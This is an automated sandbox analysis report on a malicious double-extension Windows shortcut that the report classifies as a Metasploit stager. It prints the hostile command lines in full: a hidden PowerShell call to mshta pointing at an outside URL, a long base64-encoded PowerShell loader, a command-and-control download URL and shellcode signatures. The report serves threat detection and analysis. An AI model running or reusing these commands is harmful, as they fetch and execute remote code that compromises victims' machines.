Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
____ ______.xls.lnk.bin.lnk

Overview

General Information

Sample name:____ ______.xls.lnk.bin.lnk
Analysis ID:1638546
MD5:b4daab40e7fdd5199b16314565bdebfd
SHA1:cf2023322ea444d571a64449daf3507060a466c3
SHA256:3d7b626032ae4cf35965ddddde19df6653342090b76d97bfa420b82776597a4c
Tags:lnkuser-TornadoAV_dev
Infos:

Detection

Metasploit
Score:100
Range:0 - 100
Confidence:100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Malicious encrypted Powershell command line found
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Metasploit Payload
Yara detected MetasploitPayload
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Joe Sandbox ML detected suspicious sample
Sigma detected: MSHTA Suspicious Execution 01
Sigma detected: Malicious Base64 Encoded PowerShell Keywords in Command Lines
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Suspicious powershell command line found
Uses an obfuscated file name to hide its real file extension (double extension)
Windows shortcut file (LNK) contains suspicious command line arguments
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Suspicious Execution of Powershell with Base64
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match

Classification

Process Tree

  • System is w10x64
  • powershell.exe (PID: 7288 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • conhost.exe (PID: 7296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • mshta.exe (PID: 7472 cmdline: "C:\Windows\system32\mshta.exe" https://iplogger.cn/forensicsas.png MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)
      • powershell.exe (PID: 7540 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVABOAEkANwAwAEIAQQBBAEIAZwA1AEoAZwA1AHAANgBNAFkARwA2AFYAbQAzADgARgBuAGoALwBHADcAeABmAFMAOAB3AHYATQBMAGsAWQBuAFEANgB5AFYAaQBiAGkAVQB6ADgAbgBSAGIAcABjADcAbAAvAHMANABuAHEANQBlADIATwB5ADUAQwAwAG0AdwBKAGsAWQBoADkAdQArAGwAYQBCAE8AeQB5AGkATABXAEsAMwBhADcASwBZADcASwBWAGMAMgBXAGkAYwBlAEMASAB0AHgAdQBCAHMASwBKAGoAeAA3AGUASgBvADcAVQBaAEQAbABrAFIANwAxAGQAZABrAFcAMABvAGYAeABrAEIANgB0AEoASwAzAEwAdAA5AEkAcwBsAFYASwB6AFQAegBkAEYARwB2AGEAOQA3AGcAYgBDAFMAdABvAC8AaABJADkATQB1AG0AMAB4AFQAaQBUAHQAVgBaAGgATAB2AHUAeQBHAEMAUwAvAHQAZQBYAFoANAB1AHcAdgBGAGoAdQB2ADEAVABuAHEATwA4AHQAbwB5AFkANQBaAHoAUwBmAHkAeQBIAEkAaQB0ADQAVABRAFIAaQAvADEARABhAGQAOABYAGQAMQB3AHYAaABQAEUALwBwAEQAMABYAGoAawBDAHUAMgA0AG0AQwBmAHUAYQAwAGsARABEAHEAbwBMAGwAcwBaADAAMwBTAFIAWgBaADcAeQBPACsAbgBWAHcAYgBOAEQASwBhADUASwBrACsARgBTAEQAVQBDAFIAMQA0AHkAbQBqAGgAUwBYADIAOQB6ADgAQQBuADgATQBwAHAARABuAFgAYgBnAE0AUQA2AFkAbQBZAFcAbQAzAFUAdAAyAHcAOABKAGYAMQBKAGQAMwBkAGoAQQBhAFMAYwBOAFIAYgB2AFIAYwBYAHMAcgBWAHoASwBZAEoAdgBZAHQAZgBjAFgATwA4AGUATQAxADMAWABaAEIAWABXADgARABKAHcAYwBnAFYAdgBkAFYAeABEAHYAWgBjAHoATwB5ADUASwB1AGYARABSADMAVQBBAE4AbgBiAHAAegBHADAATgBWAFQAawA4AHMAQgB1AHAARQAvAE8ARwA0AGIAdwBhADUAbwBFAHgAbQBBAFgAZQBXADMATwA3AEYAMgBTAGwAZgBjAE0ANQBaAE0ANABrAGUAUgBpAFoANQBMAEUANQB0AHIAYQB0AFAAQQA4ADYAaAByAFMAUgBEAHIASQBkAGsAZQBsADgAMQBJAG0AdABuAEkAdABrAEQAeQAzADcASwAxAEwAbwBIAGMAawBMAGQAOQBRAFQAWQBDAHkAUQBBADIAMABZAGUAdQA2AEEAWABUAHcAMAArAFgAdQB3AEcAMwBDAEsAQQBqADUAWQBiAGYASABSAFIAOAAzAHgALwBVAHgAOQB0AFoAdAA5ADIAYwA1AGoAeQBaAFAAeQA4AFgAMwBIAEEAOQAxAGQAbwBqAFIAaABuAGgAZQB3AE0AZgBVAFgATwBpAEQAVgBlAEoAMQBWAEIAWgBmAFIAVABEAHAANgA0AEMAZgB0AGUAMQBOAGoAUgBoAE4AdQAvAEcAVwBqADIAVgBxAHYAZgB4AEIAeQA1ADUAYQBnAEUAUQBrAFkATABuAEQAYQAzAGcANgB0AHMAWAB2ADEAMgBEADYAMABTAFcAdgBvADAAegAzAGsANwBmAFoATQBVADQAMwBTAEsAOQAvAHkAYgBmADMAaAA4AGIAYQByAHIALwBmAEQAagBSAHMASwB5ADAARgB6AHcAYQBtAGUASgB2AFEASABFADgAWgBlAHMASQB3AHoAbQBEAEcAMgBZAGoARABPAGcANQBuADEAdQBBAG0AagBqAGcAMgAvAHoAMAAzAHAAUwBEAEcAMQB3AC8ASQA0AHYAMQA2AGEAZgBuAGUAcwBZAGQAVQBFAFAASwB5AEcAbgBYAHQAVABvAEoAVQBaADMAUgA0AFAAUgBBAGsASgBHAFcAMwB4AG0AYQA5AHcAKwB0AG8AWQByAGgAVgAxAGsATABlAGkAUgA3AC8AUAA2AGwAaQBkADgAOQBzAGUAWgAwADcAMABtAGUAYgByAGcANABHAG0ARABrAHkAdABmAFcAdQB6AHYAWQBGADUAMgBpAHQANgByAGMAaQBlAEwARQBRAGQAaQA0AE8ASgA3AHYATgBnAGIAegA0ADUAKwBBAG8AdgA5AEIAVwBkAGYAbABTAE4ANgBXAGcARwBhAHgAWQAvADYAUwB1AG0AbQA2AFgAMwBzAHgARwByAEMAUQB0AHoAbQByAFcAMwA1AHEAVABZAEUANgBsADYAMwArAGQAMQBFAGQAOQBQAHMAaQA2AHYAMAB3AHYAUgBwAEUAZAB6AEgAZgBRADYARwBIAHoAVQAyAHAANAB1AEwATgBUAHAAdwBlAGUAWAAvAG0ARgBoACsATAAyAHgANQBtAFkAegBYAGwAZAA0AHIAcQBuAGYAbQB4AE4ASABtAFkAbwBzAHYANQB6AGIAdgBLAGoAUgAyAG8AQgBWAG0ANQBOAEoATgBOAFIAOQBaAHMANwAzAE4AVgBVADQAdQBQAHgAawBPAGwAawBJAGEAMABrAFYAcwBwAEEASAAvAHkAWABkAFYAWAAzAGQANwAwAHMAbQAxADQAcQBrAHIAdQA0ADgAMwBuAEwAcgBUAGoASQBSAHgAcQAzACsAeABtAFcAMgAzAFkAeABjAGsAYwBEAG4AaAB2AGYAdABqAEEAbAB4AEoAbwA4ADcARAA2AE4AbABQAHUAMAArADQATgBTADAAcgA3AEkAWgAyADkAbQBoAGkAQwBYAHkAZgBoADMAYQBmAFcAeABmADcAUgBtAGwATwBkAEMAMABqAGQARgA3AG0ATABsAHoAaQBFAFUAZgBiAHkAQwBPAFgAeQBHAG0AWgBYAGcAMgBVAGwATwBYAFUAYwB2AEoARABoAEIAagB5AFcAaQBuAHkAQgB6AGsAeQB6ADcASwA3AGYAdABZAGMASQBSAGsAdwAwAEsATwAyAE0ATwBwAHIAQwB4AG4AdQA4AHgANQB2AFkAMQBTAGQAZAA2ADIAWABGADkASwBPAGMAagB4ADUAUQBCAGQAOABmAEsATwBmAEwARwBiAFEAcABzADEASgA3AFEANgBtAFQANQB1AEIAaQB0AEcAOQB0ADIANwB1ADYASgB1AHIAYwBJAFkATwBwAEgAWAAxACsASgA2AC8AeQBkAFYARABLADQAeABvAFUANgAxAEMAUwBvAFMAbABMAHAAeQArAHUAcQBxAFgAcgBRAEkAcAA0AFUAbgBtAEgAawB1AE8ANwBwADMAcgA5AGYATABBAHkAaAByAHQAbwBzAGkAVgA1AGIAQgB2AGYAVwB1AHUASAAzAFcASgBTAGwAVwBuAEsAdwB0AEQARQBVAFAATwBwADMAegBQAFMAVwBHAHMAWABqAHEAVgA4AGEAaABWADAAagBVAGEAaAArADMAMgBEADYASwBBADQAUwBoAC8AWQBRAEcAOQBWAHoAZABXAFkAeABEAHUAKwBpAHcAUABtAGwAMQBvAE4AOAA3AGQAbQBIAFAAYwBJAHQATgBZAE4AaQA4AC8AWABCAFUAcAA5ADQAMgBRAGwAdAAxADkARwBtAFoAcgBsAFoAbABGADMATAB5ADgATgB5AE0AbgBUAGQAKwAvAGIAbwBBADkAeABwAHYARABNAG8AbwBjAE0AbQA2AFEAZABHAEgASgBrADMAVAB4AFgAKwBMAHIAbABmACsAbgBCAFEAdQBqAFAATABhAFMAVgBtAGoANgBNAEQAZQBvAGYAaABwAEIAWgBkAFcANgBpAGYAZQA0AHoAVABZAG8AdgA4AGoAOQBiACsAWQAvAE8AKwBrAEYAcgBTAFYATABkAHcAYgBhAFMAVwBnAGoANQBtAHEAVgA2AHIAZgBLAGgAVgBwAFIAYgAyAGIAVAA3AHgAWAArAEUAQgBCAE8ANgBwAGIAeABsAHgAQwByAEoAaABjAGIAOABJAGwAZgBNADIAVQAxADMAUAB0ADAAcQBwAFQAawBqAEMAbgBMAGkAMwBxAEIAMwBVAE4ANwByAEYASgA4AHgAWQArAGEAVwBJADMATABlADUAcQA2AHUAZABYADIAbgBjAHEAcwA3AHkAagA4AEgAZABLAFIAegBhAEMATAB2AHQANgBGAEMANABoAFIAaABHADAAWABZAFgANgBVAHQARgBaAEEATwBiAC8AQgBRAFAAaQBmAHgASAArAEQAUQBBAEEAIgApACkAOwBJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAkAHMALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwAKAA== MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 7812 cmdline: "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
          • conhost.exe (PID: 7820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • svchost.exe (PID: 7684 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • cleanup

Malware Configuration

Threatname: Metasploit

{"Headers": "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nReferer: http://code.jquery.com/\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n", "Type": "Metasploit Download", "URL": "http://mcnn.ru/jquery-3.3.1.slim.min.js"}

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
dump.pcapWiltedTulip_WindowsTaskDetects hack tool used in Operation Wilted Tulip - Windows TasksFlorian Roth
  • 0x21f6:$x3: -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgA

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ecols[1].htaWiltedTulip_WindowsTaskDetects hack tool used in Operation Wilted Tulip - Windows TasksFlorian Roth
  • 0x9d:$x3: -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgA

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_MetasploitPayload_3Yara detected Metasploit PayloadJoe Security
    00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmpWindows_Shellcode_Generic_8c487e57unknownunknown
    • 0x0:$a: FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0
    00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmpWindows_Trojan_Metasploit_38b8ceecIdentifies the API address lookup function used by metasploit. Also used by other tools (like beacon).unknown
    • 0x7:$a1: 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0 AC 3C 61
    00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmpWindows_Trojan_Metasploit_24338919Identifies metasploit wininet reverse shellcode. Also used by other tools (like beacon).unknown
    • 0x90:$a1: 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07
    00000003.00000002.2000051277.000001E1C2463000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_MetasploitPayload_1Yara detected MetasploitPayloadJoe Security
      Click to see the 30 entries

      Other

      SourceRuleDescriptionAuthorStrings
      amsi64_7540.amsi.csvJoeSecurity_MetasploitPayload_1Yara detected MetasploitPayloadJoe Security
        amsi64_7540.amsi.csvMsfpayloads_msf_refMetasploit Payloads - file msf-ref.ps1Florian Roth
        • 0xc7a4:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')
        • 0xccc9:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual',
        • 0xcd96:$s5: = [System.Convert]::FromBase64String(
        • 0xca1f:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]]
        • 0xcc12:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,
        amsi32_7812.amsi.csvJoeSecurity_MetasploitPayload_1Yara detected MetasploitPayloadJoe Security
          amsi32_7812.amsi.csvMsfpayloads_msf_refMetasploit Payloads - file msf-ref.ps1Florian Roth
          • 0xbc5f:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')
          • 0xc184:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual',
          • 0xc251:$s5: = [System.Convert]::FromBase64String(
          • 0xbeda:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]]
          • 0xc0cd:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,

          Sigma Signatures

          System Summary

          barindex
          Sigma detected: MSHTA Suspicious Execution 01
          Source: Process startedAuthor: Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule): Data: Command: "C:\Windows\system32\mshta.exe" https://iplogger.cn/forensicsas.png , CommandLine: "C:\Windows\system32\mshta.exe" https://iplogger.cn/forensicsas.png , CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7288, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\mshta.exe" https://iplogger.cn/forensicsas.png , ProcessId: 7472, ProcessName: mshta.exe
          Sigma detected: Malicious Base64 Encoded PowerShell Keywords in Command Lines
          Source: Process startedAuthor: John Lambert (rule): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVABOAEkANwAwAEIAQQBBAEIAZwA1AEoAZwA1AHAANgBNAF
          Sigma detected: Potentially Suspicious PowerShell Child Processes
          Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\mshta.exe" https://iplogger.cn/forensicsas.png , CommandLine: "C:\Windows\system32\mshta.exe" https://iplogger.cn/forensicsas.png , CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7288, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\mshta.exe" https://iplogger.cn/forensicsas.png , ProcessId: 7472, ProcessName: mshta.exe
          Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
